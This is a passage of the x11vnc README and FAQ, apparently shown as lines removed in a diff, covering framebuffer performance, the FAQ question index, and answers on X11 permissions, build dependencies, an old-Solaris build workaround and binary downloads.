- large window) there is a delay of 0.5-1 sec while x11vnc reads the
- changed regions in.
- A slow framebuffer read rate will often be the performance
- bottleneck on a fast LAN (whereas on slower links the reduced
- network bandwidth becomes the bottleneck.)
- Note: A quick way to get a 2X speedup of this for x11vnc is to
- switch your X server from depth 24 (32bpp) to depth 16 (16bpp.)
- You get a 4X speedup going to 8bpp, but the lack of color cells is
- usually unacceptable.
- To get a sense of the read and write speeds of your video card,
- you can run benchmarks like: "x11perf -getimage500", "x11perf
- -putimage500", "x11perf -shmput500" and for XFree86 displays with
- direct graphics access the "dga" command (press "b" to run the
- benchmark and then after a few seconds press "q" to quit.) Even
- this "dd if=/dev/fb0 of=/dev/null" often gives a good estimate.
- x11vnc also prints out its estimate:
- 28/02/2009 11:11:07 Autoprobing TCP port
- 28/02/2009 11:11:07 Autoprobing selected port 5900
- 28/02/2009 11:11:08 fb read rate: 10 MB/sec
- 28/02/2009 11:11:08 screen setup finished.
- We have seen a few cases where the hardware fb read speed is
- greater than 65 MB/sec: on high end graphics workstations from SGI
- and Sun, and also from a Linux user using nvidia proprietary
- drivers for his nvidia video card. Update 2008: thankfully, these
- sped up drivers are becoming more common on Linux and *BSD systems
- and that makes x11vnc run somewhat more quickly. Sometimes they
- have a read rate of over 400 MB/sec.
- On XFree86/Xorg it is actually possible to increase the
- framebuffer read speed considerably (10-100 times) by using the
- Shadow Framebuffer (a copy of the framebuffer is kept in main
- memory and this can be read much more quickly.) To do this one
- puts the line Option "ShadowFB" "true" in the Device section of
- the /etc/X11/XF86Config or /etc/X11/xorg.conf file. Note that this
- disables 2D acceleration at the physical display and so that might
- be unacceptable if one plays games, etc. on the machine's local
- display. Nevertheless this could be handy in some circumstances,
- e.g. if the slower speed while sitting at the physical display was
- acceptable (this seems to be true for most video cards these
- days.) Unfortunately it does not seem shadowfb can be turned on
- and off dynamically...
- Another amusing thing one can do is use Xvfb as the X server, e.g.
- "xinit $HOME/.xinitrc -- /usr/X11R6/bin/Xvfb :1 -screen 0
- 1024x768x16" x11vnc can poll Xvfb efficiently via main memory.
- It's not exactly clear why one would want to do this instead of
- using vncserver/Xvnc, (perhaps to take advantage of an x11vnc
- feature, such as framebuffer scaling or built-in SSL encryption),
- but we mention it because it may be of use for special purpose
- applications. You may need to use the "-cc 4" option to force Xvfb
- to use a TrueColor visual instead of DirectColor. See also the
- description of the -create option that does all of this
- automatically for you (be sure to install the Xvfb package, e.g.
- apt-get install xvfb.)
- Also, a faster and more accurate way is to use the "dummy"
- Xorg/XFree86 device driver (or our Xdummy wrapper script.) See
- this FAQ for details.
- * Somewhat surprisingly, the X11 mouse (cursor) shape is write-only
- and cannot be queried from the X server. So traditionally in
- x11vnc the cursor shape stays fixed at an arrow. (see the "-cursor
- X" and "-cursor some" options, however, for a partial hack for the
- root window, etc.) However, on Solaris using the SUN_OVL overlay
- extension, x11vnc can show the correct mouse cursor when the
- -overlay option is also supplied. A similar thing is done on IRIX
- as well when -overlay is supplied.
- More generally, as of Dec/2004 x11vnc supports the new XFIXES
- extension (in Xorg and Solaris 10) to query the X server for the
- exact cursor shape, this works pretty well except that cursors
- with transparency (alpha channel) need to approximated to solid
- RGB values (some cursors look worse than others.)
- * Audio from applications is of course not redirected (separate
- redirectors do exist, e.g. esd, see the FAQ on this below.) The
- XBell() "beeps" will work if the X server supports the XKEYBOARD
- extension. (Note that on Solaris XKEYBOARD is disabled by default.
- Passing +kb to Xsun enables it.)
- * The scroll detection algorithm for the -scrollcopyrect option can
- give choppy or bunched up transient output and occasionally
- painting errors.
- * Using -threads can expose some bugs/crashes in libvncserver.
-
- Please feel free to contact me if you have any questions, problems, or
- comments about x11vnc, etc. Please be polite, thorough, and not
- demanding (sadly, the number of people contacting me that are rude and
- demanding is increasing dramatically.)
- Also, some people ask if they can make a donation, see this link for
- that.
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/faq.html:
-
-
- x11vnc Home Donations
- _________________________________________________________________
-
- x11vnc FAQ:
-
-
- [Building and Starting]
-
- Q-1: I can't get x11vnc to start up. It says "XOpenDisplay failed
- (null)" or "Xlib: connection to ":0.0" refused by server Xlib: No
- protocol specified" and then exits. What do I need to do?
-
- Q-2: I can't get x11vnc and/or libvncserver to compile.
-
- Q-3: I just built x11vnc successfully, but when I use it my keystrokes
- and mouse button clicks are ignored (I am able to move the mouse
- though.)
-
- Q-4: Help, I need to run x11vnc on Solaris 2.5.1 (or other old
- Unix/Linux) and it doesn't compile!
-
- Q-5: Where can I get a precompiled x11vnc binary for my Operating
- System?
-
- Q-6: Where can I get a VNC Viewer binary (or source code) for the
- Operating System I will be viewing from?
-
- Q-7: How can I see all of x11vnc's command line options and
- documentation on how to use them?
-
- Q-8: I don't like typing arcane command line options every time I
- start x11vnc. What can I do? Is there a config file? Or a GUI?
-
- Q-9: How can I get the GUI to run in the System Tray, or at least be a
- smaller, simpler icon?
-
- Q-10: How can I get x11vnc to listen on a different port besides the
- default VNC port (5900)?
-
- Q-11: My Firewall/Router doesn't allow VNC Viewers to connect to
- x11vnc.
-
- Q-12: Is it possible for a VNC Viewer and a VNC Server to connect to
- each other even though both are behind Firewalls that block all
- incoming connections?
-
- Q-13: Can I make x11vnc more quiet and also go into the background
- after starting up?
-
- Q-14: Sometimes when a VNC viewer dies abruptly, x11vnc also dies with
- the error message like: "Broken pipe". I'm using the -forever mode and
- I want x11vnc to keep running.
-
- Q-15: The Windows TightVNC 1.3.9 Viewer cannot connect to x11vnc.
-
- Q-16: KDE's krdc VNC viewer cannot connect to x11vnc.
-
- Q-17: When I start x11vnc on an Alpha Tru64 workstation the X server
- crashes!
-
- Q-18: When running x11vnc on an IBM AIX workstation after a few
- minutes the VNC connection freezes.
-
- Q-19: Are there any build-time customizations possible, e.g. change
- defaults, create a smaller binary, etc?
-
- [Win2VNC Related]
-
- Q-20: I have two separate machine displays in front of me, one Windows
- the other X11: can I use x11vnc in combination with Win2VNC in
- dual-screen mode to pass the keystrokes and mouse motions to the X11
- display?
-
- Q-21: I am running Win2VNC on my Windows machine and "x11vnc -nofb" on
- Unix to pass keyboard and mouse to the Unix monitor. Whenever I start
- Win2VNC it quickly disconnects and x11vnc says:
- rfbProcessClientNormalMessage: read: Connection reset by peer
-
- Q-22: Can I run "x11vnc -nofb" on a Mac OS X machine to redirect mouse
- and keyboard input to it from Windows and X11 machines via Win2VNC and
- x2vnc, respectively?
-
- [Color Issues]
-
- Q-23: The X display I run x11vnc on is only 8 bits per pixel (bpp)
- PseudoColor (i.e. only 256 distinct colors.) The x11vnc colors may
- start out OK, but after a while they are incorrect in certain windows.
-
- Q-24: Color problems: Why are the colors for some windows incorrect in
- x11vnc? BTW, my X display has nice overlay/multi-depth visuals of
- different color depths: e.g. there are both depth 8 and 24 visuals
- available at the same time.
-
- Q-25: I am on a high color system (depth >= 24) but I seem to have
- colormap problems. They either flash or everything is very dark.
-
- Q-26: How do I figure out the window id to supply to the -id windowid
- option?
-
- Q-27: Why don't menus or other transient windows come up when I am
- using the -id windowid option to view a single application window?
-
- Q-28: My X display is depth 24 at 24bpp (instead of the normal depth
- 24 at 32bpp.) I'm having lots of color and visual problems with x11vnc
- and/or vncviewer. What's up?
-
- [Xterminals]
-
- Q-29: Can I use x11vnc to view and interact with an Xterminal (e.g.
- NCD) that is not running UNIX and so x11vnc cannot be run on it
- directly?
-
- Q-30: How do I get my X permissions (MIT-MAGIC-COOKIE file) correct
- for a Unix/Linux machine acting as an Xterminal?
-
- [Sun Rays]
-
- Q-31: I'm having trouble using x11vnc with my Sun Ray session.
-
- [Remote Control]
-
- Q-32: How do I stop x11vnc once it is running in the background?
-
- Q-33: Can I change settings in x11vnc without having to restart it?
- Can I remote control it?
-
- [Security and Permissions]
-
- Q-34: How do I create a VNC password for use with x11vnc?
-
- Q-35: Can I make it so -storepasswd doesn't show my password on the
- screen?
-
- Q-36: Can I have two passwords for VNC viewers, one for full access
- and the other for view-only access to the display?
-
- Q-37: Can I have as many full-access and view-only passwords as I
- like?
-
- Q-38: Does x11vnc support Unix usernames and passwords? Can I further
- limit the set of Unix usernames who can connect to the VNC desktop?
-
- Q-39: Can I supply an external program to provide my own custom login
- method (e.g. Dynamic/One-time passwords or non-Unix (LDAP) usernames
- and passwords)?
-
- Q-40: Why does x11vnc exit as soon as the VNC viewer disconnects? And
- why doesn't it allow more than one VNC viewer to connect at the same
- time?
-
- Q-41: Can I limit which machines incoming VNC clients can connect
- from?
-
- Q-42: How do I build x11vnc/libvncserver with libwrap (tcp_wrappers)
- support?
-
- Q-43: Can I have x11vnc only listen on one network interface (e.g.
- internal LAN) rather than having it listen on all network interfaces
- and relying on -allow to filter unwanted connections out?
-
- Q-44: Now that -localhost implies listening only on the loopback
- interface, how I can occasionally allow in a non-localhost via the -R
- allowonce remote control command?
-
- Q-45: Can I fine tune what types of user input are allowed? E.g. have
- some users just be able to move the mouse, but not click or type
- anything?
-
- Q-46: Can I prompt the user at the local X display whether the
- incoming VNC client should be accepted or not? Can I decide to make
- some clients view-only? How about running an arbitrary program to make
- the decisions?
-
- Q-47: I start x11vnc as root because it is launched via inetd(8) or a
- display manager like gdm(1). Can I have x11vnc later switch to a
- different user?
-
- Q-48: I use a screen-lock when I leave my workstation (e.g.
- xscreensaver or xlock.) When I remotely access my workstation desktop
- via x11vnc I can unlock the desktop fine, but I am worried people will
- see my activities on the physical monitor. What can I do to prevent
- this, or at least make it more difficult?
-
- Q-49: Can I have x11vnc automatically lock the screen when I
- disconnect the VNC viewer?
-
- [Encrypted Connections]
-
- Q-50: How can I tunnel my connection to x11vnc via an encrypted SSH
- channel between two Unix machines?
-
- Q-51: How can I tunnel my connection to x11vnc via an encrypted SSH
- channel from Windows using an SSH client like Putty?
-
- Q-52: How can I tunnel my connection to x11vnc via an encrypted SSL
- channel using an external tool like stunnel?
-
- Q-53: Does x11vnc have built-in SSL tunneling?
-
- Q-54: How do I use VNC Viewers with built-in SSL tunneling?
-
- Q-55: How do I use the Java applet VNC Viewer with built-in SSL
- tunneling when going through a Web Proxy?
-
- Q-56: Can Apache web server act as a gateway for users to connect via
- SSL from the Internet with a Web browser to x11vnc running on their
- workstations behind a firewall?
-
- Q-57: Can I create and use my own SSL Certificate Authority (CA) with
- x11vnc?
-
- [Display Managers and Services]
-
- Q-58: How can I run x11vnc as a "service" that is always available?
-
- Q-59: How can I use x11vnc to connect to an X login screen like xdm,
- GNOME gdm, KDE kdm, or CDE dtlogin? (i.e. nobody is logged into an X
- session yet.)
-
- Q-60: Can I run x11vnc out of inetd(8)? How about xinetd(8)?
-
- Q-61: Can I have x11vnc advertise its VNC service and port via mDNS /
- Zeroconf (e.g. Avahi) so VNC viewers on the local network can detect
- it automatically?
-
- Q-62: Can I have x11vnc allow a user to log in with her UNIX username
- and password and then have it find her X session display on that
- machine and then attach to it? How about starting an X session if one
- cannot be found?
-
- Q-63: Can I have x11vnc restart itself after it terminates?
-
- Q-64: How do I make x11vnc work with the Java VNC viewer applet in a
- web browser?
-
- Q-65: Are reverse connections (i.e. the VNC server connecting to the
- VNC viewer) using "vncviewer -listen" and vncconnect(1) supported?
-
- Q-66: Can reverse connections be made to go through a Web or SOCKS
- proxy or SSH?
-
- Q-67: Can x11vnc provide a multi-user desktop web login service as an
- Apache CGI or PHP script?
-
- Q-68: Can I use x11vnc as a replacement for Xvnc? (i.e. not for a real
- display, but for a virtual one I keep around.)
-
- Q-69: How can I use x11vnc on "headless" machines? Why might I want
- to?
-
- [Resource Usage and Performance]
-
- Q-70: I have lots of memory, but why does x11vnc fail with shmget:
- No space left on device or Minor opcode of failed request: 1
- (X_ShmAttach)?
-
- Q-71: How can I make x11vnc use less system resources?
-
- Q-72: How can I make x11vnc use MORE system resources?
-
- Q-73: I use x11vnc over a slow link with high latency (e.g. dialup
- modem or broadband), is there anything I can do to speed things up?
-
- Q-74: Does x11vnc support the X DAMAGE Xserver extension to find
- modified regions of the screen quickly and efficiently?
-
- Q-75: My OpenGL application shows no screen updates unless I supply
- the -noxdamage option to x11vnc.
-
- Q-76: When I drag windows around with the mouse or scroll up and down
- things really bog down (unless I do the drag in a single, quick
- motion.) Is there anything to do to improve things?
-
- Q-77: Why not do something like wireframe animations to avoid the
- windows "lurching" when being moved or resized?
-
- Q-78: Can x11vnc try to apply heuristics to detect when a window is
- scrolling its contents and use the CopyRect encoding for a speedup?
-
- Q-79: Can x11vnc do client-side caching of pixel data? I.e. so when
- that pixel data is needed again it does not have to be retransmitted
- over the network.
-
- Q-80: Does x11vnc support TurboVNC?
-
- [Mouse Cursor Shapes]
-
- Q-81: Why isn't the mouse cursor shape (the little icon shape where
- the mouse pointer is) correct as I move from window to window?
-
- Q-82: When using XFIXES cursorshape mode, some of the cursors look
- really bad with extra black borders around the cursor and other cruft.
- How can I improve their appearance?
-
- Q-83: In XFIXES mode, are there any hacks to handle cursor
- transparency ("alpha channel") exactly?
-
- [Mouse Pointer]
-
- Q-84: Why does the mouse arrow just stay in one corner in my
- vncviewer, whereas my cursor (that does move) is just a dot?
-
- Q-85: Can I take advantage of the TightVNC extension to the VNC
- protocol where Cursor Positions Updates are sent back to all connected
- clients (i.e. passive viewers can see the mouse cursor being moved
- around by another viewer)?
-
- Q-86: Is it possible to swap the mouse buttons (e.g. left-handed
- operation), or arbitrarily remap them? How about mapping button clicks
- to keystrokes, e.g. to partially emulate Mouse wheel scrolling?
-
- [Keyboard Issues]
-
- Q-87: How can I get my AltGr and Shift modifiers to work between
- keyboards for different languages?
-
- Q-88: When I try to type a "<" (i.e. less than) instead I get ">"
- (i.e. greater than)! Strangely, typing ">" works OK!!
-
- Q-89: Extra Character Inserted, E.g.: When I try to type a "<" (i.e.
- less than) instead I get "<," (i.e. an extra comma.)
-
- Q-90: I'm using an "international" keyboard (e.g. German "de", or
- Danish "dk") and the -modtweak mode works well if the VNC viewer is
- run on a Unix/Linux machine with a similar keyboard. But if I run
- the VNC viewer on Unix/Linux with a different keyboard (e.g. "us") or
- Windows with any keyboard, I can't type some keys like: "@", "$",
- "<", ">", etc. How can I fix this?
-
- Q-91: When typing I sometimes get double, triple, or more of my
- keystrokes repeated. I'm sure I only typed them once, what can I do?
-
- Q-92: The x11vnc -norepeat mode is in effect, but I still get repeated
- keystrokes!!
-
- Q-93: After using x11vnc for a while, I find that I cannot type some
- (or any) characters or my mouse clicks and drags no longer have any
- effect, or they lead to strange effects. What happened?
-
- Q-94: The machine where I run x11vnc has an AltGr key, but the local
- machine where I run the VNC viewer does not. Is there a way I can map
- a local unused key to send an AltGr? How about a Compose key as well?
-
- Q-95: I have a Sun machine I run x11vnc on. Its Sun keyboard has just
- one Alt key labelled "Alt" and two Meta keys labelled with little
- diamonds. The machine where I run the VNC viewer only has Alt keys.
- How can I send a Meta keypress? (e.g. emacs needs this)
-
- Q-96: Running x11vnc on HP-UX I cannot type "#" I just get a "3"
- instead.
-
- Q-97: Can I map a keystroke to a mouse button click on the remote
- machine?
-
- Q-98: How can I get Caps_Lock to work between my VNC viewer and
- x11vnc?
-
- [Screen Related Issues and Features]
-
- Q-99: The remote display is larger (in number of pixels) than the
- local display I am running the vncviewer on. I don't like the
- vncviewer scrollbars, what I can do?
-
- Q-100: Does x11vnc support server-side framebuffer scaling? (E.g. to
- make the desktop smaller.)
-
- Q-101: Does x11vnc work with Xinerama? (i.e. multiple monitors joined
- together to form one big, single screen.)
-
- Q-102: Can I use x11vnc on a multi-headed display that is not Xinerama
- (i.e. separate screens :0.0, :0.1, ... for each monitor)?
-
- Q-103: Can x11vnc show only a portion of the display? (E.g. for a
- special purpose application or a very large screen.)
-
- Q-104: Does x11vnc support the XRANDR (X Resize, Rotate and
- Reflection) extension? Whenever I rotate or resize the screen x11vnc
- just seems to crash.
-
- Q-105: Independent of any XRANDR, can I have x11vnc rotate and/or
- reflect the screen that the VNC viewers see? (e.g. for a handheld
- whose screen is rotated 90 degrees.)
-
- Q-106: Why is the view in my VNC viewer completely black? Or why is
- everything flashing around randomly?
-
- Q-107: I use Linux Virtual Terminals (VT's) to implement 'Fast User
- Switching' between users' sessions (e.g. Betty is on Ctrl-Alt-F7,
- Bobby is on Ctrl-Alt-F8, and Sid is on Ctrl-Alt-F1: they use those
- keystrokes to switch between their sessions.) How come the view in a
- VNC viewer connecting to x11vnc is either completely black or
- otherwise all messed up unless the X session x11vnc is attached to is
- in the active VT?
-
- Q-108: I am using x11vnc where my local machine has "popup/hidden
- taskbars" and the remote display where x11vnc runs also has
- "popup/hidden taskbars" and they interfere and fight with each other.
- What can I do?
-
- Q-109: Help! x11vnc and my KDE screensaver keep switching each other
- on and off every few seconds.
-
- Q-110: I am running the compiz 3D window manager (or beryl, MythTv,
- Google Earth, or some other OpenGL app) and I do not get screen
- updates in x11vnc.
-
- Q-111: Can I use x11vnc to view my VMWare session remotely?
-
- [Exporting non-X11 devices via VNC]
-
- Q-112: Can non-X devices (e.g. a raw framebuffer) be viewed (and even
- controlled) via VNC with x11vnc?
-
- Q-113: Can I export the Linux Console (Virtual Terminals) via VNC
- using x11vnc?
-
- Q-114: Can I export via VNC a Webcam or TV tuner framebuffer using
- x11vnc?
-
- Q-115: Can I connect via VNC to a Qt-embedded/Qt-enhanced/Qtopia
- application running on my handheld, cell phone, or PC using the Linux
- console framebuffer (i.e. not X11)?
-
- Q-116: How do I inject touch screen input into an
- Qt-embedded/Qt-enhanced/Qtopia cell phone such as openmoko/qtmoko Neo
- Freerunner?
-
- Q-117: Now that non-X11 devices can be exported via VNC using x11vnc,
- can I build it with no dependencies on X11 header files and libraries?
-
- Q-118: How do I cross compile x11vnc for a different architecture than
- my Linux i386 or amd64 PC?
-
- Q-119: Does x11vnc support Mac OS X Aqua/Quartz displays natively
- (i.e. no X11 involved)?
-
- Q-120: Can x11vnc be used as a VNC reflector/repeater to improve
- performance for the case of a large number of simultaneous VNC viewers
- (e.g. classroom broadcasting or a large demo)?
-
- Q-121: Can x11vnc be used during a Linux, Solaris, etc. system
- Installation so the Installation can be done remotely?
-
- [Misc: Clipboard, File Transfer/Sharing, Printing, Sound, Beeps,
- Thanks, etc.]
-
- Q-122: Does the Clipboard/Selection get transferred between the
- vncviewer and the X display?
-
- Q-123: Can I use x11vnc to record a Shock Wave Flash (or other format)
- video of my desktop, e.g. to record a tutorial or demo?
-
- Q-124: Can I transfer files back and forth with x11vnc?
-
- Q-125: Which UltraVNC extensions are supported?
-
- Q-126: Can x11vnc emulate UltraVNC's Single Click helpdesk mode for
- Unix? I.e. something very simple for a naive user to initiate a
- reverse vnc connection from their Unix desktop to a helpdesk
- operator's VNC Viewer.
-
- Q-127: Can I (temporarily) mount my local (viewer-side) Windows/Samba
- File share on the machine where x11vnc is running?
-
- Q-128: Can I redirect CUPS print jobs from the remote desktop where
- x11vnc is running to a printer on my local (viewer-side) machine?
-
- Q-129: How can I hear the sound (audio) from the remote applications
- on the desktop I am viewing via x11vnc?
-
- Q-130: Why don't I hear the "Beeps" in my X session (e.g. when typing
- tput bel in an xterm)?
-
- Q-131: Does x11vnc work with IPv6?
-
- Q-132: Thanks for your program or for your help! Can I make a
- donation?
- _________________________________________________________________
-
-
- [Building and Starting]
-
- Q-1: I can't get x11vnc to start up. It says "XOpenDisplay failed
- (null)" or "Xlib: connection to ":0.0" refused by server Xlib: No
- protocol specified" and then exits. What do I need to do?
-
- For the former error, you need to specify the X display to connect to
- (it also needs to be on the same machine the x11vnc process is to run
- on.) Set your DISPLAY environment variable (or use the -display
- option) to specify it. Nearly always the correct value will be ":0"
- (in fact, x11vnc will now assume :0 if given no other information.)
-
-
- For the latter error, you need to set up the X11 permissions
- correctly.
-
- To make sure X11 permissions are the problem do this simple test:
- while sitting at the physical X display open a terminal window
- (gnome-terminal, xterm, etc.) You should be able to run x11vnc
- successfully without any need for special steps or command line
- options in that terminal (i.e. just type "x11vnc".) If that works OK
- then you know X11 permissions are the only thing preventing it from
- working when you try to start x11vnc via, say, a remote shell.
-
- How to Solve: See the xauth(1), Xsecurity(7), and xhost(1) man pages
- or this Howto for much info on X11 permissions. For example, you may
- need to set your XAUTHORITY environment variable (or use the -auth
- option) to point to the correct MIT-MAGIC-COOKIE file (e.g.
- /home/joe/.Xauthority or /var/gdm/:0.Xauth or /var/lib/kdm/A:0-crWk72K
- or /tmp/.gdmzndVlR, etc, etc.), or simply be sure you run x11vnc as
- the correct user (i.e. the user who is logged into the X session you
- wish to view.)
-
- Note: The MIT cookie file contains the secret key that allows x11vnc
- to connect to the desired X display.
-
- If, say, sshd has set XAUTHORITY to point to a random file it has
- created for X forwarding that will cause problems. (Under some
- circumstances even su(1) and telnet(1) can set XAUTHORITY. See also
- the gdm parameter NeverPlaceCookiesOnNFS that sets XAUTHORITY to a
- random filename in /tmp for the whole X session.)
-
- Running x11vnc as root is often not enough: you need to know where the
- MIT-MAGIC-COOKIE file for the desired X display is.
-
- Example solution:
- x11vnc -display :0 -auth /var/gdm/:0.Xauth
-
- (this is for the display manager gdm and requires root permission to
- read the gdm cookie file, see this faq for other display manager
- cookie file names.)
-
- Note as of Feb/2007 you can also try the -find option instead of
- "-display ..." and see if that finds your display and Xauthority.
-
- Less safe, but to avoid figuring out where the correct XAUTHORITY file
- is, if the person sitting at the physical X session types "xhost
- +localhost" then one should be able to attach x11vnc to the session
- (from the same machine.) The person could then type "xhost -localhost"
- after x11vnc has connected to go back to the default permissions.
- Also, for some situations the "-users lurk=" option may soon be of use
- (please read the documentation on the -users option.)
-
- To test out your X11 permissions from a remote shell, set DISPLAY and
- possibly XAUTHORITY (see your shell's man page, bash(1), tcsh(1), on
- how to set environment variables) and type xdpyinfo in the same place
- you will be typing (or otherwise running) x11vnc. If information is
- printed out about the X display (screen sizes, supported extensions,
- color visuals info) that means the X11 permissions are set up
- properly: xdpyinfo successfully connected to DISPLAY! You could also
- type xclock and make sure no errors are reported (a clock should
- appear on the X display, press Ctrl-C to stop it.) If these work, then
- typing "x11vnc" in the same environment should also work.
-
- Important: if you cannot get your X11 permissions so that the xdpyinfo
- or xclock tests work, x11vnc also will not work (all of these X
- clients must be allowed to connect to the X server to function
- properly.)
-
- Firewalls: Speaking of permissions, it should go without saying that
- the host-level firewall will need to be configured to allow
- connections in on a port. E.g. 5900 (default VNC port) or 22 (default
- SSH port for tunnelling VNC.) Most systems these days have firewalls
- turned on by default, so you will actively have to do something to
- poke a hole in the firewall at the desired port number. See your
- system administration tool for Firewall settings (Yast, Firestarter,
- etc.)
-
-
- Q-2: I can't get x11vnc and/or libvncserver to compile.
-
- Make sure you have gcc (or other C compiler) and all of the required
- libraries and the corresponding -dev/-devel packages installed. These
- include Xorg/XFree86, libX11, libjpeg, libz, libssl, ... and don't
- forget the devs: libjpeg-dev, libssl-dev ...
-
- The most common build problem that people encounter is that the
- necessary X11 libraries are installed on their system however it does
- not have the corresponding -dev/-devel packages installed. These dev
- packages include C header files and build-time .so symlink. It is a
- shame the current trend in distros is to not install the dev package
- by default when the the library runtime package is installed... (it
- diminishes the power of open source)
-
- As of Nov/2006 here is a list of libraries that x11vnc usually likes
- to use:
-libc.so libX11.so libXtst.so libXext.so
-libXfixes.so libXdamage.so libXinerama.so libXrandr.so
-libz.so libjpeg.so libpthread.so
-libssl.so libcrypto.so libcrypt.so
-
- although x11vnc will be pretty usable with the subset: libc.so,
- libX11.so, libXtst.so, libXext.so, libz.so, and libjpeg.so.
-
- After running the libvncserver configure, carefully examine the output
- and the messages in the config.log file looking for missing
- components. For example, if the configure output looks like:
- checking how to run the C preprocessor... gcc -E
- checking for X... no
- checking for XkbSelectEvents in -lX11... no
- checking for XineramaQueryScreens in -lXinerama... no
- checking for XTestFakeKeyEvent in -lXtst... no
-
- or even worse:
- checking for C compiler default output file name... configure: error:
- C compiler cannot create executables
- See `config.log' for more details.
-
- there is quite a bit wrong with the build environment. Hopefully
- simply adding -dev packages and/or gcc or make will fix it.
-
- For Debian the list seems to be:
- gcc
- make
- libc6-dev
- libjpeg8-dev (formerly libjpeg62-dev)
- libx11-dev
- x11proto-core-dev (formerly x-dev)
- libxext-dev
- libxtst-dev
- libxdamage-dev
- libxfixes-dev
- libxrandr-dev
- libxinerama-dev
- libxss-dev (formerly xlibs-static-dev)
- zlib1g-dev
- libssl-dev
- libavahi-client-dev
- linux-libc-dev (only needed for linux console rawfb support)
-
- Note that depending on your OS version the above names may have been
- changed and/or additional packages may be needed.
-
- For Redhat the list seems to be:
- gcc
- make
- glibc-devel
- libjpeg-devel
- libX11-devel
- xorg-x11-proto-devel
- libXdamage-devel
- libXfixes-devel
- libXrandr-devel
- zlib-devel
- openssl-devel
- avahi-devel
- kernel-headers (only needed for linux console rawfb support)
-
- For other distros or OS's the package names may not be the same but
- will look similar. Also, distros tend to rename packages as well so
- the above list may be out of date. So only use the above lists as
- hints for the package names that are needed.
-
- Have a look at Misc. Build Problems for additional fixes.
-
- Note: there is growing trend in Linux and other distros to slice up
- core X11 software into more and smaller packages. So be prepared for
- more headaches compiling software...
-
-
- Q-3: I just built x11vnc successfully, but when I use it my keystrokes
- and mouse button clicks are ignored (I am able to move the mouse
- though.)
-
- This is most likely due to you not having a working build environment
- for the XTEST client library libXtst.so. The library is probably
- present on your system, but the package installing the build header
- file is missing.
-
- If you were watching carefully while configure was running you would
- have seen:
- checking for XTestFakeKeyEvent in -lXtst... no
-
- The solution is to add the necessary build environment package (and
- the library package if that is missing too.) On Debian the build
- package is libxtst-dev. Other distros/OS's may have it in another
- package.
-
- x11vnc will build without support for this library (e.g. perhaps one
- wants a view-only x11vnc on a stripped down or embedded system...) And
- at runtime it will also continue to run even if the X server it
- connects to does not support XTEST. In both cases it cannot inject
- keystrokes or button clicks since XTEST is needed for that (it can
- still move the mouse pointer using the X API XWarpPointer().)
-
- You will see a warning message something like this at run time:
- 20/03/2005 22:33:09 WARNING: XTEST extension not available (either missing fr
-om
- 20/03/2005 22:33:09 display or client library libXtst missing at build time
-.)
- 20/03/2005 22:33:09 MOST user input (pointer and keyboard) will be DISCARDE
-D.
- 20/03/2005 22:33:09 If display does have XTEST, be sure to build x11vnc wit
-h
- 20/03/2005 22:33:09 a working libXtst build environment (e.g. libxtst-dev,
- 20/03/2005 22:33:09 or other packages.)
- 20/03/2005 22:33:09 No XTEST extension, switching to -xwarppointer mode for
- 20/03/2005 22:33:09 pointer motion input.
-
- Also, as of Nov/2006 there will be a configure build time warning as
- well:
- ...
- checking for XFixesGetCursorImage in -lXfixes... yes
- checking for XDamageQueryExtension in -lXdamage... yes
- configure: WARNING:
- ==========================================================================
- A working build environment for the XTEST extension was not found (libXtst).
- An x11vnc built this way will be only barely usable. You will be able to
- move the mouse but not click or type. There can also be deadlocks if an
- application grabs the X server.
-
- It is recommended that you install the necessary development packages
- for XTEST (perhaps it is named something like libxtst-dev) and run
- configure again.
- ==========================================================================
-
-
- Q-4: Help, I need to run x11vnc on Solaris 2.5.1 (or other old
- Unix/Linux) and it doesn't compile!
-
- We apologize that x11vnc does not build cleanly on older versions of
- Solaris, Linux, etc.: very few users are on these old releases.
-
- We have heard that since Dec/2004 a Solaris 2.6 built x11vnc will run
- on Solaris Solaris 2.5 and 2.5.1 (since a workaround for XConvertCase
- is provided.)
-
- In any event, here is a workaround for Solaris 2.5.1 (and perhaps
- earlier and perhaps non-Solaris):
-
- First use the environment settings (CPPFLAGS, LDFLAGS, etc.) in the
- above Solaris build script to run the configure command. That should
- succeed without failure. Then you have to hand edit the autogenerated
- rfb/rfbconfig.h file in the source tree, and just before the last
- #endif at the bottom of that file insert these workaround lines:
-struct timeval _tmp_usleep_tv;
-#define usleep(x) \
- _tmp_usleep_tv.tv_sec = (x) / 1000000; \
- _tmp_usleep_tv.tv_usec = (x) % 1000000; \
- select(0, NULL, NULL, NULL, &_tmp_usleep_tv);
-int gethostname(char *name, int namelen);
-long random();
-int srandom(unsigned int seed);
-#undef LIBVNCSERVER_HAVE_LIBPTHREAD
-#define SHUT_RDWR 2
-typedef unsigned int in_addr_t;
-#define snprintf(a, n, args...) sprintf((a), ## args)
-
- Then run make with the Solaris build script environment, everything
- should compile without problems, and the resulting x11vnc binary
- should work OK. If some non-x11vnc related programs fail (e.g. test
- programs) and the x11vnc binary is not created try "make -k" to have
- it keep going. Similar sorts of kludges in rfb/rfbconfig.h can be done
- on other older OS (Solaris, Linux, ...) releases.
-
- Here are some notes for similar steps that need to be done to build on
- SunOS 4.x
-
- Please let us know if you had to use the above workaround (and whether
- it worked or not.) If there is enough demand we will try to push clean
- compilations back to earlier Solaris, Linux, etc, releases.
-
-
- Q-5: Where can I get a precompiled x11vnc binary for my Operating
- System?
-
- Hopefully the build steps above and FAQ provide enough info for a
- painless compile for most environments. Please report problems with
- the x11vnc configure, make, etc. on your system (if your system is
- known to compile other GNU packages successfully.)
-
- There are precompiled x11vnc binaries built by other groups that are
- available at the following locations:
- Slackware: (.tgz) http://www.linuxpackages.net/
-
- SuSE: (.rpm) http:/software.opensuse.org/ Gentoo: (info)
- http://gentoo-wiki.com/ and http://gentoo-portage.com/ FreeBSD: (.tbz)
- http://www.freebsd.org/ http://www.freshports.org/net/x11vnc NetBSD:
- (src) http://pkgsrc.se/x11/x11vnc OpenBSD: (.tgz) http://openports.se/
- Arch Linux: (.tgz) http://www.archlinux.org/ Nokia 770 (.deb)
- http://mike.saunby.googlepages.com/x11vncfornokia7702 Sharp Zaurus
- http://www.focv.com/ Debian: (.deb) http://packages.debian.org/x11vnc
- Redhat/Fedora: (.rpm) http://packages.sw.be/x11vnc RPMforge
- http://dag.wieers.com/rpm/packages/x11vnc/ (N.B.: unmaintained after
- 0.9.3) Solaris: (pkg) http://www.sunfreeware.com/
-
- If the above binaries don't work and building x11vnc on your OS fails
- (and all else fails!) you can try one of My Collection of x11vnc
